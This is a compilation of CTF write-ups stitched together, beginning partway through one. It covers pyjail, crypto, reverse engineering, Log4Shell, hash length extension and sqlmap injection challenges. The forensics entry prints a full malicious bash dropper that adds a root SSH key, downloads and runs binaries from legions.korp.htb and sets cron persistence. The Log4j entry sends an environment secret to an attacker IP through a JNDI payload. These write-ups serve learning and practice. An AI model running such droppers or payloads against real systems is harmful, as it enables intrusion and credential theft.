29°11' 6.00" N, 81°4' 13.00" W | Daytona International Speedway || champ.jpg | 34°54' 9.00" N, 110°10' 7.00" W | Wigwam - > Wigwam Motel || piston.jpg | 35°22' 23.00" N, 138°55' 36.00" E | Fuji Speedway || queen.jpg | 43°21' 45.00" N, 71°27' 38.00" W | New Hampshire Motor Speedway || supercar.jpg | 45°37' 2.00" N, 9°16' 53.00" E | Autodromo Nazionale Monza - > Monza | The creator notes tell you how many words should be in each of the names. All of these match except "Wigwam" and the "Autodromo Nazionale Monza" have the correct number of words. "Wigwam" is the "Wigwam Motel" and "Autodromo Nazionale Monza" is just "Monza". The order to these is also important. The images can all be combined into one, a bit like a basic puzzle, when it is complete it shows an image of lightning mcqueen. The order of the image was "alldiesel.jpg" then "supercar.jpg" then "piston.jpg" then "queen.jpg" then "champ.jpg". Then you put the place from those images in that order. So it would go Daytona International Speedway then Monza etc.. You also then make everything lowercase, remove all the spacing, and add the texsaw{} to get a long flag(as said in the instructions). The final flag is: `texsaw{daytonainternationalspeedwaymonzafujispeedwaynewhampshiremotorspeedwaywigwammotel}`
# Made Functional > Author: doubledelete > Description: the second makejail [https://madefunctional-okntin33tq-ul.a.run.app/](https://madefunctional-okntin33tq-ul.a.run.app/) And the last but not least is same Misc PyJail challenge `Made Functional`, written using the Flask. ```python {title="source.py" lineNos=true lineNoStart=1}import osfrom pathlib import Pathimport reimport subprocessimport tempfile from flask import Flask, request, send_file app = Flask(__name__)flag = open('flag.txt').read() def write_flag(path): with open(path / 'flag.txt', 'w') as f: f.write(flag) def generate_makefile(name, content, path): with open(path / 'Makefile', 'w') as f: f.write(f"""SHELL := env PATH= /bin/bash.PHONY: {name}{name}: flag.txt\t{content}""") @app.route('/', methods=['GET'])def index(): return send_file('index.html') @app.route('/src/', methods=['GET'])def src(): return send_file(__file__) # made functional@app.route('/make', methods=['POST'])def make(): target_name = request.form.get('name') code = request.form.get('code') print(code) if not re.fullmatch(r'[A-Za-z0-9]+', target_name): return 'no' if '\n' in code: return 'no' if re.search(r'/', code): return 'no' with tempfile.TemporaryDirectory() as dir: run_dir = Path(dir) write_flag(run_dir) generate_makefile(target_name, code, run_dir) sp = subprocess.run(['make'], capture_output=True, cwd=run_dir) return f"""<h1>stdout:</h1>{sp.stdout}<h1>stderr:</h1>{sp.stderr} """ app.run('localhost', 8000)``` From the source it allows to create a Makefile with a target that executes some code when the target is built and it's a same vuln. The `SHELL` variable in the Makefile is set to `env PATH= /bin/bash`, which means that the `PATH` environment variable is set to an empty string when the shell command is executed. This means that the shell will not be able to find any executables in the `PATH`, so it will only execute commands that are defined in the Makefile itself. first I simply using: ```name = "readflag"code = "< flag.txt"``` ![response1.png](https://raw.githubusercontent.com/nopedawn/CTF/main/WolvCTF24/MadeFunctional/response1.png) It seems like the command `< flag.txt` was executed, but it didn't produce any output. This is because the `<` operator is used for input redirection, and it needs a command to provide input to. Unfortunately, we're limited by the fact that we can't use slashes, and most commands are located in directories that require a slash to access (like `/bin` or `/usr/bin`). However, we can take advantage of the fact that Makefiles allow for multiple lines in the command section if they are separated by semicolons. We can use this feature to first assign the content of the flag file to a variable, and then echo that variable: ```name = "readflag"code = "read -r FLAG < flag.txt; echo $$FLAG"``` ![response2.png](https://raw.githubusercontent.com/nopedawn/CTF/main/WolvCTF24/MadeFunctional/response2.png) Final solver automation: ```python {title="solver.py" lineNos=true lineNoStart=1}import requestsimport re data = { 'name': 'readflag', 'code': 'read -r FLAG < flag.txt; echo $$FLAG'} response = requests.post('https://madefunctional-okntin33tq-ul.a.run.app/make', data=data)flag = re.findall(r'wctf{.*}', response.text) print(flag)``` > Flag: `wctf{m4k1ng_f1l3s}`
## Solve Python just cast format character to normal, using this [site](https://lingojam.com/ItalicTextGenerator) i get the flag in italic and just run the expression in the eval(). Don't be fool with banner() that all ```shnc dyn.ctf.pearlctf.in 30017>>> ????pearl{it_w4s_t00_e4sy}```
# It Has Begun> The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable. We start with a `script.sh` containing some bash commands. ```bash#!/bin/sh if [ "$HOSTNAME" != "KORP-STATION-013" ]; then exitfi if [ "$EUID" -ne 0 ]; then exitfi docker kill $(docker ps -q)docker rm $(docker ps -a -q) echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keysecho "nameserver 8.8.8.8" >> /etc/resolv.confecho "PermitRootLogin yes" >> /etc/ssh/sshd_configecho "128.90.59.19 legions.korp.htb" >> /etc/hosts for filename in /proc/*; do ex=$(ls -latrh $filename 2> /dev/null|grep exe) if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then result=$(echo "$filename" | sed "s/\/proc\///") kill -9 $result echo found $filename $result fidone ARCH=$(uname -m)array=("x86" "x86_64" "mips" "aarch64" "arm") if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then exitfi cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH; cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH; cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab``` Immediately, the following line catches my eye, at the end is what looks like a flag all the way at the end:```bashecho "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys``` Reversing the string at the end (`tS_u0y_ll1w{BTH`) we get `HTB{w1ll_y0u_St`, now wheres the rest? At the end of the script we can see they execute a base64 string: ```echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab``` , decoding that we get `4nd_y0uR_Gr0uNd!!}` Combining the two, we get the flag. Flag: `HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}`
Basic Enum The HTTP traffic between the two IPs (victim and attacker) involved a lot of failed GET requests. So, I added to the filter to remove all GET requests and keep the source IP as 192.168.1.8.Figure 9. Filter Results One of the first packets should be a PUT command that involves a Nikto test file. Submit the Nikto as your answer to complete the challenge.
# Intergalactic Cinema ## Description```I was partaking in a fun viewing of some show/movie with my alien bros but couldn't understand anything due to the alien voice dubbing present in the movie. I've managed to download a script of what was said during the viewing but it seems to be encrypted, can you help me decrypt it? Follow this link to get started: http://intergalactic.martiansonly.net``` ## Writeup Looking at the website we can see some encrypted text and some `letter/number mapping`. These clues should indicate that it is most likely a `substitution cipher`. Copying the `ciphertext` into an [online-solver](https://planetcalc.com/8047/) returns some plaintext although it isn't able to map everything correctly. ```py# frqdq wdq 87 s2mr fr38zs ws zr7sfs, bwbq.# there are no such things as ghosts, babe.```Mapping some letters we can make our own script to decrypt the whole thing. ```pyknown_chars = { 'f': 't', 'r': 'h', 'q': 'e', 'd': 'r', 'w': 'a', '8': 'n', '7': 'o', 's': 's', '2': 'u', 'm': 'c', 'r': 'h', '3': 'i', 'z': 'g', 'b': 'b',} # frqdq wdq 87 s2mr fr38zs ws zr7sfs, bwbq.# there are no such things as ghosts, babe. with open('ct.txt', 'r') as file: out = '' for line in file: for char in line: if char in known_chars.keys(): out += known_chars[char] elif char == ' ': out += ' ' elif char in ['!', ',', ':', '.', "'", '"', '#', '?', '-', '_', '{', '}']: out += char elif char == '\n': out += '\n' else: out += '$' print(out)``` Executing the script, we can see certain words which are only missing single letters.Applying this method we can get the correct `mapping` letter by letter. ```### line $$$$ ###in a strange galaxy. ### line $$$$ ###$aybe right no$ ### line $$$$ ###she's settling in $or the long na$...``` Mapping all correct letters reveals the flag. The numbers can be mapped via the lines `### line $$$$ ###` (starts off with 1). ```pyknown_chars = { 'f': 't', 'r': 'h', 'q': 'e', 'd': 'r', 'w': 'a', '8': 'n', '7': 'o', 's': 's', '2': 'u', 'm': 'c', 'r': 'h', '3': 'i', 'z': 'g', 'b': 'b', '6': 'l', 'o': 'x', '1': 'y', 'y': 'f', 'v': 'm', 'i': 'w', 'k': 't', '9': 'l', 'a': 'd', '4': 'p', 'c': '1', 'p': '2', 'g': '3', 'h': '4', 't': '5', '0': '6', '5': '7', 'n': '8', 'l': '9', 'x': '0', 'e': 'z', 'j': 'q',} # frqdq wdq 87 s2mr fr38zs ws zr7sfs, bwbq.# there are no such things as ghosts, babe. with open('ct.txt', 'r') as file: for line in file: line_out = '' for char in line: if char in known_chars.keys(): line_out += known_chars[char] elif char == ' ': line_out += ' ' elif char in ['!', ',', ':', '.', "'", '"', '#', '?', '-', '_', '{', '}']: line_out += char elif char == '\n': line_out += '\n' else: line_out += '$' if line_out.startswith('shctf{'): print(line_out)``` Executing the script reveals the flag which concludes this writeup. ```sh$ python3 solver.pyshctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}```
pom.xml in the java maven project says```xml <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency>```That's the vulnerable version of log4j everyone was going crazy about.There's this poc exploit for log4j https://github.com/kozmer/log4j-shell-poc I ran it on my vps.I submitted `${jndi:ldap://123.123.123.123:1389/${env:flag}}` as the text with an image that I corrupted by just typing in random letters in burpsuite in the middle of the image bytes until I got the right kind of error in the java code for it to log that text and execute the jndi ldap request.The flag was an env variable. ```~/ctf/log4j/log4j-shell-poc$ python3 poc.py --userip 123.123.123.123 --webport 8005 --lport 9001 [!] CVE: CVE-2021-44228[!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success[+] Setting up LDAP server [+] Send me: ${jndi:ldap://123.123.123.123:1389/a}[+] Starting Webserver on port 8005 http://0.0.0.0:8005 Listening on 0.0.0.0:1389Send LDAP reference result for a redirecting to http://123.123.123.123:8005/Exploit.class68.183.72.188 - - [16/Mar/2024 08:39:30] "GET /Exploit.class HTTP/1.1" 200 -Send LDAP reference result for 1753c{generate_text_to_get_an_epic_rce} redirecting to http://123.123.123.123:8005/Exploit.class68.183.72.188 - - [16/Mar/2024 08:40:12] "GET /Exploit.class HTTP/1.1" 200 -Send LDAP reference result for 1753c{generate_text_to_get_an_epic_rce} redirecting to http://123.123.123.123:8005/Exploit.class68.183.72.188 - - [16/Mar/2024 08:40:12] "GET /Exploit.class HTTP/1.1" 200 -```
> "Sir, sir! This is a construction site." You look up at what you thought was a building being constructed, but you realize it is a construction bot. "Sir please move aside. I had to have these blocks in order since last week, but some newbie construction bot shuffled them." "I can move aside, " you tell the bot, "but I might be able to help you out." ## Source code ```pythonimport binascii from Crypto.Cipher import AESfrom os import urandomfrom string import printableimport randomfrom time import time flag = "brck{not_a_flag}"key = urandom(32) def encrypt(raw): cipher = AES.new(key, AES.MODE_ECB) return binascii.hexlify(cipher.encrypt(raw.encode())) # Generate random bytesrandom.seed(int(time()))rand_printable = [x for x in printable]random.shuffle(rand_printable) # Generate ciphertextwith open('ciphertext','w') as f: for x in flag: for y in rand_printable: # add random padding to block and encrypt f.write(encrypt(x + (y*31)).decode())``` ## Code explanation - A seed based on the time is defined with `random.seed(x)`.- The script shuffle `string.printable` from the string library and stock it in `rand_printable`.- Concatenate a character of the `flag` with 31 times a caracter of `rand_printable` so the concatenation has a size of 32.- Then encrypt the concatenation with AES ECB and a randomly generated key of size 32, and repeat the concatenation with every character of `rand_printable`. This process is repeated for every character of `flag`.- Each encryption is encoded in hex and appended to the file `ciphertext` ## Solving ### Understanding the encryption First of all, we need to know that AES encrypt block of 16 characters. However, in this challenge, strings of 32 characters are encrypted. Meaning thatm the first 16 characters are encrypted, then the 16 other and finally the two cipher are concatenated to make the final ciphertext. ![Explanation of AES encryption]([../../images/explanation_aes_encrypt.png](https://raw.githubusercontent.com/wepfen/writeups/main/braekerCTF/2024/crypto/block_construction/explanation_aes_encrypt.png)) In this image, we can understand that if the two 16 chars halves of a 32 chars bloc are the same, thus the encryption of the two halves will be the same. For the challenge we have each character of the flag concatenated with every chars of `rand_printable`. Exemple for first knwon char 'b': Encrypt('b' + 31 * 'M') , then encrypt('b' + 31 * '8') and so on for all 100 characters of `rand_printable`. > I chose '8' and 'M' randomly because `rand_printable` also is. So there will be a moment where our first character 'b' will be concatened with 31 * 'b' from rand_printable and as we said earlier, then the two halves of the 32 chars (64 chars in hex) of th 32 chars encrypted will be the same. It is how we know which character of the flag is actually encrypted. To get the flag, knowing all flag characters are encrypted 100 times into 64 hex blocs:- loop every 6400 chars in `ciphertext` - inside this 6400 chars, loop 100 times until we find a 64 hex chars encrypted blocks where its first half is equal to its second half. - Note the position of this block in his group of 100 encrypted blocks. This position will be the position of the char in `rand_printable`. For instance, if the good bloc is at the position `24`, then the corresponding character will be `rand_printable[24]`, supposing we know rand_printable. Now after getting every position, we need to find the right `rand_printable` shuffle to get the flag. ### Retrieving the correct rand_printable The list of the correct indices is the following: `blocPositions = [85, 89, 11, 63, 32, 51, 84, 74, 40, 36, 42, 14, 23, 36, 84, 75]` So `flag[0] = rand_printable[blocPositions[0]]` with of course the correct rand_printable. As said in the **code explanation** section, `rand_printable` is a `random.shuffle()` of `string.printable` with the random seed defined by the time. We can get the file creation date which is `2024:02:21 14:37:16+01:00` get the unix time of it : `1708526236`. In the description of the challenge, a bot said the blocks were in place a "week" ago, so i also got the unix time une week before and bruteforced the timestamp from here: `1707865200`. In a for loop, define the seed, generate a new `rand_printable`, reconstructing a flag with the indice list, and look for 'brck' in the reconstructed flag. ### Script ```pythonimport randomimport string # get the indice of blocks where block[:32] == block[32:] def getLetterIndices(blocs) -> list: indicesList = [] for window in range(0, len(blocs), 6400): # un caractère = 100 blocs de 64 caractères en hex blocChunk = blocs[window:window+6400] for bloc in range(0, len(blocChunk), 64): # un bloc fait 64 caractères # check if the two half are equal if blocChunk[bloc:bloc+32] == blocChunk[bloc+32:bloc+64]: indicesList.append(bloc//64) # passe au caractères chiffré suivant break return indicesList def getFlag(indicesList): initialTimestamp = 1707865200 # a week before file creation lastTimestamp = 1708556400 # file creation timestamp flag = '' rollback = 0 timestp = initialTimestamp rand_printable = string.printable while flag[0:4] != 'brck': #(re)define rand_printable rand_printable = list(string.printable) #define seed random.seed(timestp + rollback) #shuffle string.printable random.shuffle(rand_printable) flag = "".join([rand_printable[i] for i in indicesList]) #if 'brck' in flag: # print(timestp) rollback += 1 return flag if __name__ == '__main__': rawBlocs = open("ciphertext.old", 'r').read() indicesList = getLetterIndices(rawBlocs) flag = getFlag(indicesList) print(flag)``` ## TL;DR - Each character are concatenated with 31 times a random character of a charset and then encrypted. - Some times the random character will be the flag character - In this case, the two halves of the encrypted block will be the same and we can determine the position of this block in his group of 100 other encrypted blocks. - Get the flag like this: - Set the seed of random with the timestamp of the file - shuffle hte charset string.printable - Map the blocks position with the chars position of the right charset like that: `flag[i] = rand_printable[blocPositions[i]]` - Try to find 'brck' in the generated flag - Iterate again till it works > Flag: `brck{EZP3n9u1nZ}`
**[Forensics - An Unusual Sighting](https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#0f92)** https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#0f92
# N0PSctf 2024 Jojo Chat 2/2 writeup ## Challenge description ![Challenge description](assets/Description.png) ## Script : ```python import osimport hashlibfrom datetime import datetimeimport refrom base64 import b64encode, b64decodefrom admin import admin SECRET = B'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' def sign(username, is_admin=False): if is_admin: sig = hashlib.sha256(SECRET + username.encode() + b";admin").digest() return b64encode(username.encode() + b";admin|" + sig) else: sig = hashlib.sha256(SECRET + username.encode() + b";user").digest() return b64encode(username.encode() + b";user|" + sig) def verify(token): data = b64decode(token) block, sig = data.split(b"|")[0], data.split(b"|")[1] if hashlib.sha256(SECRET + block).digest() != sig: return False return True def sort_messages(messages): try: messages.sort(key=lambda x: datetime.strptime(x[1][:19], "%Y-%m-%d %H:%M:%S")) except: pass return messages def create_account(): name = input("Enter your username: ") names = os.listdir("./log") while hashlib.sha256(name.encode()).hexdigest() in names: name = input("This username is already used! Enter another one: ") if not re.match("^[A-Za-z0-9]+$", name): print("\nEmpty usernames are forbidden, and you can only use uppercases, lowercases and numbers, you hacker!") exit() log = open(f"./log/{hashlib.sha256(name.encode()).hexdigest()}", 'w') log.write(f"Username : {name}\n") token = sign(name) print("\nAccount was successfully created!\nHere is your connection token:\n"+token.decode()) log.close() def connect(): token = input("Token: ") if not verify(token): return False, None, None name = b64decode(token).split(b";")[0].decode() names = os.listdir("./log") while not(hashlib.sha256(name.encode()).hexdigest() in names): token = input("This user does not exists! Token: ") if not verify(token): return False, None, None name = b64decode(token).split(b";")[0].decode() role = b64decode(token).split(b"|")[0].split(b";")[-1].decode() return True, name, role def get_all_messages(): names = os.listdir("./log") messages = [] for name in names: with (open(f"./log/{name}", 'r')) as log: username = log.readline().split(" : ")[1][:-1] for line in log.readlines(): messages.append((username, line)) return sort_messages(messages) def send_message(name): message = input("Enter your message: ") with (open(f"./log/{hashlib.sha256(name.encode()).hexdigest()}", 'a')) as log: log.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} {message}\n") print("\nYour message has been sent!") connected = False print("Hey, welcome to j0j0 Chat v2! Feel free to chat with everyone here :)\nUpdate note: We noticed some security issues in our previous chat, this should be fixed now!") while True: if not connected: option = input("\nChoose an option:\n1) Create an account\n2) Login\n3) Leave\n") match option: case "1": create_account() case "2": connected, name, role = connect() if not(connected): print("Incorrect token!") case "3": print("Bye! Come back whenever you want!") exit() else: option = input("\nChoose an option:\n1) See messages\n2) Send a message\n3) Logout\n") match option: case "1": print() messages = get_all_messages() for message in messages: print(f"{message[0]} : {message[1][20:]}", end="") case "2": send_message(name) case "3": print("\nYou successfully logged out!") connected = False role = None case "admin": if role == "admin": admin()``` According to the description to solve this challenge we need to get admin access The code is offering us 3 options:1) Create an account2) Login 3) Leave First we try to create an account, the script will ask for a username with a restriction on non alphanumeric characters and empty value using a regex checking: ```python if not re.match("^[A-Za-z0-9]+$", name): print("\nEmpty usernames are forbidden, and you can only use uppercases, lowercases and numbers, you hacker!") exit()``` In addition if the username already exists we will be rejected but it doesn't matter because to check whether we are admin or not the script will verify only our role and not the username: ```python role = b64decode(token).split(b"|")[0].split(b";")[-1].decode() return True, name, role``` So let's say my username is nassimmes, once the system creates my user he prints my token encoded in base64 in order to use it in login: ![Create account](assets/create_account.png) `bmFzc2ltbWVzO3VzZXJ8VcxyG3KT/GK7NcUluWuNUIpKZBCmqtNbxHI9vxjJcKg=` the token is generated using this function:```python def sign(username, is_admin=False): if is_admin: sig = hashlib.sha256(SECRET + username.encode() + b";admin").digest() return b64encode(username.encode() + b";admin|" + sig) else: sig = hashlib.sha256(SECRET + username.encode() + b";user").digest() return b64encode(username.encode() + b";user|" + sig)``` While is_admin value is always set to false my token is a concatenation of `${username};user|${signature}` and the signature is calculated as following: sha256(`${SECRET}${username};user`) the decoded value of my token: ```b'nassimmes;user|U\xccr\x1br\x93\xfcb\xbb5\xc5%\xb9k\x8dP\x8aJd\x10\xa6\xaa\xd3[\xc4r=\xbf\x18\xc9p\xa8'``` So our goal here is to create a fake token which contains `;admin` at the end, and to do that we have 2 issues: - we can not create user with `;` because of regex restrictions- if we try to fake the token the system will verify the siganture using a secret as salt in the preimage of hash wich is uknown for us: ```python def verify(token): data = b64decode(token) block, sig = data.split(b"|")[0], data.split(b"|")[1] if hashlib.sha256(SECRET + block).digest() != sig: return False return True ``` I started by checking if i can bypass the regex but it didnt work for me, so the solution seems to be about the hash, as i know bruteforcing a hash or decode it is not possible and the only thing i knew from CTFs proof of works we can bruteforce a preimage starting with specific prefix to get hash wich ends with 4 hexadecimal digits similar to a target hash, also finding a collision is not an easy task. After reseachs i found this github repo [link for hash extender](https://github.com/iagox86/hash_extender) and from the descreption it's interesting, this is exactly what we want: ```An application is susceptible to a hash length extension attack if it prepends a secret value to a string, hashes it with a vulnerable algorithm, and entrusts the attacker with both the string and the hash, but not the secret. Then, the server relies on the secret to decide whether or not the data returned later is the same as the original data.``` I clonned the repo and i laucnhed it as following : ```./hash_extender -f sha256 -d "nassimmes;user" -s 55cc721b7293fc62bb35c525b96b8d508a4a6410a6aad35bc4723dbf18c970a8 -a ";admin" -l 40``` when :- `d` is the right preimage value for my signature- `a` is the data to append- `s` is my sgnature (right value after '|') encoded in hex- `l` is the secret length (guessed from the fake secret in the script) The answer i've got: ```Type: sha256Secret length: 40New signature: 6442a79d54cc290115b40b486ecd9fc94bdbe01d51e7fa21fea80e5bf5d7fb16New string: 6e617373696d6d65733b75736572800000000000000001b03b61646d696e``` The first line is the new signature, while the second is the new right part of preimage: ```python >>> bytes.fromhex("6e617373696d6d65733b75736572800000000000000001b03b61646d696e")b'nassimmes;user\x80\x00\x00\x00\x00\x00\x00\x00\x01\xb0;admin'``` Awesome now all i have to do is to join these values with `|` and encode the result in base64: ```python >>> b64encode(bytes.fromhex("6e617373696d6d65733b75736572800000000000000001b03b61646d696e")+b"|"+bytes.fromhex("6442a79d54cc290115b40b486ecd9fc94bdbe01d51e7fa21fea80e5bf5d7fb16"))b'bmFzc2ltbWVzO3VzZXKAAAAAAAAAAAGwO2FkbWlufGRCp51UzCkBFbQLSG7Nn8lL2+AdUef6If6oDlv11/sW'``` We login with the new token : ![login](assets/login.png) Then we type admin:![admin](assets/admin.png) And we get the flag: ```N0PS{b3w4R3_0F_l3NgTh_XT3nS1on_4Tt4cK5}``` Be ware of length extension attacks :)
**[Misc - Unbreakable](https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-misc-9d3d512900b4#80bd)** https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-misc-9d3d512900b4#80bd
Decompiled: ```C#include "out.h" int _init(EVP_PKEY_CTX *ctx) { int iVar1; iVar1 = __gmon_start__(); return iVar1;} void FUN_00101020(void) { // WARNING: Treating indirect jump as call (*(code *)(undefined *)0x0)(); return;} void FUN_00101050(void) { __cxa_finalize(); return;} void __stack_chk_fail(void) { // WARNING: Subroutine does not return __stack_chk_fail();} // WARNING: Unknown calling convention -- yet parameter storage is locked int putc(int __c,FILE *__stream) { int iVar1; iVar1 = putc(__c,__stream); return iVar1;} void processEntry _start(undefined8 param_1,undefined8 param_2) { undefined auStack_8 [8]; __libc_start_main(main,param_2,&stack0x00000008,0,0,param_1,auStack_8); do { // WARNING: Do nothing block with infinite loop } while( true );} // WARNING: Removing unreachable block (ram,0x001010c3)// WARNING: Removing unreachable block (ram,0x001010cf) void deregister_tm_clones(void) { return;} // WARNING: Removing unreachable block (ram,0x00101104)// WARNING: Removing unreachable block (ram,0x00101110) void register_tm_clones(void) { return;} void __do_global_dtors_aux(void) { if (completed_0 != '\0') { return; } FUN_00101050(__dso_handle); deregister_tm_clones(); completed_0 = 1; return;} void frame_dummy(void) { register_tm_clones(); return;} long super_optimized_calculation(int param_1) { long lVar1; long lVar2; if (param_1 == 0) { lVar1 = 0; } else if (param_1 == 1) { lVar1 = 1; } else { lVar2 = super_optimized_calculation(param_1 + -1); lVar1 = super_optimized_calculation(param_1 + -2); lVar1 = lVar1 + lVar2; } return lVar1;} undefined8 main(void) { ulong uVar1; long in_FS_OFFSET; uint local_84; uint local_78 [26]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_78[0] = 0x8bf7; local_78[1] = 0x8f; local_78[2] = 0x425; local_78[3] = 0x36d; local_78[4] = 0x1c1928b; local_78[5] = 0xe5; local_78[6] = 0x70; local_78[7] = 0x151; local_78[8] = 0x425; local_78[9] = 0x2f; local_78[10] = 0x739f; local_78[11] = 0x91; local_78[12] = 0x7f; local_78[13] = 0x42517; local_78[14] = 0x7f; local_78[15] = 0x161; local_78[16] = 0xc1; local_78[17] = 0xbf; local_78[18] = 0x151; local_78[19] = 0x425; local_78[20] = 0xc1; local_78[21] = 0x161; local_78[22] = 0x10d; local_78[23] = 0x1e7; local_78[24] = 0xf5; uVar1 = super_optimized_calculation(0x5a); for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) { putc((int)(uVar1 % (ulong)local_78[(int)local_84]),stdout); } putc(10,stdout); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return 0;} void _fini(void) { return;} ``` The saved bytes in local_78 form the bytestring: ```0x8bf70x8f0x4250x36d0x1c1928b0xe50x700x1510x4250x2f0x739f0x910x7f0x425170x7f0x1610xc10xbf0x1510x4250xc10x1610x10d0x1e70xf5``` The core of the problem is ```uVar1 = super_optimized_calculation(0x5a); for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) { putc((int)(uVar1 % (ulong)local_78[(int)local_84]),stdout); }```The hex value '0x5a' (90: int) The super optimized calculation:```long super_optimized_calculation(int param_1) { long lVar1; long lVar2; if (param_1 == 0) { lVar1 = 0; } else if (param_1 == 1) { lVar1 = 1; } else { lVar2 = super_optimized_calculation(param_1 + -1); lVar1 = super_optimized_calculation(param_1 + -2); lVar1 = lVar1 + lVar2; } return lVar1;}```We can write the same inefficient thing in python```def soc(a): if a == 0: return 0 elif a == 1: return 1 else: x = soc(a-1) y = soc(a-2) return x+y```Since this will take ages to compute we can optimize this with a cache:```cache = [0, 1, soc(2), soc(3), soc(4)]def soc_opt(a): if a < len(cache): return cache[a] else: x = soc_opt(a-1) y = soc_opt(a-2) cache.append(x+y) return cache[a]```We can check that it works by comparing the results of a manageable initial value:```>>>print(soc(12))144>>>print(soc_opt(12))144```The desired initial value is 90, which computes to:```>>>print(soc_opt(90))2880067194370816120``` When combining the bytestring with the optimized computation result ```n = soc_opt(90) b = '0x8bf70x8f0x4250x36d0x1c1928b0xe50x700x1510x4250x2f0x739f0x910x7f0x425170x7f0x1610xc10xbf0x1510x4250xc10x1610x10d0x1e70xf5'flag = ''for x in b.split('0x'): if x: m = n % int(x, 16) flag = f"{flag}{chr(m)}"print(flag)```We get the flag:```bctf{what's_memoization?}```
# KORP Terminal ## Video Walkthrough [![VIDEO](https://img.youtube.com/vi/-vhl8ixthO4/0.jpg)](https://www.youtube.com/watch?v=-vhl8ixthO4?t=375 "HackTheBox Cyber Apocalypse '24: KORP Terminal (web)") ## Description > Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols. ## Solution Greeted by a login page. If we send single quotes in username/password box it triggers a MySQL error! Tried SQLMap but it fails due to `401: Unauthorized`. Luckily, we can just ignore that HTTP code. ```bashsqlmap -r new.req --batch --ignore-code 401 [INFO] POST parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable``` Find the databases. ```bashsqlmap -r new.req --batch --ignore-code 401 --dbs available databases [3]:[*] information_schema[*] korp_terminal[*] test``` Then the tables. ```bashsqlmap -r new.req --batch --ignore-code 401 -D korp_terminal --tables +-------+| users |+-------+``` Dump the passwords. ```bashsqlmap -r new.req --batch --ignore-code 401 -D korp_terminal -T users -C password --dump +--------------------------------------------------------------+| password |+--------------------------------------------------------------+| $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv. |+--------------------------------------------------------------+``` Crack the `bcrypt` hash with `john`. 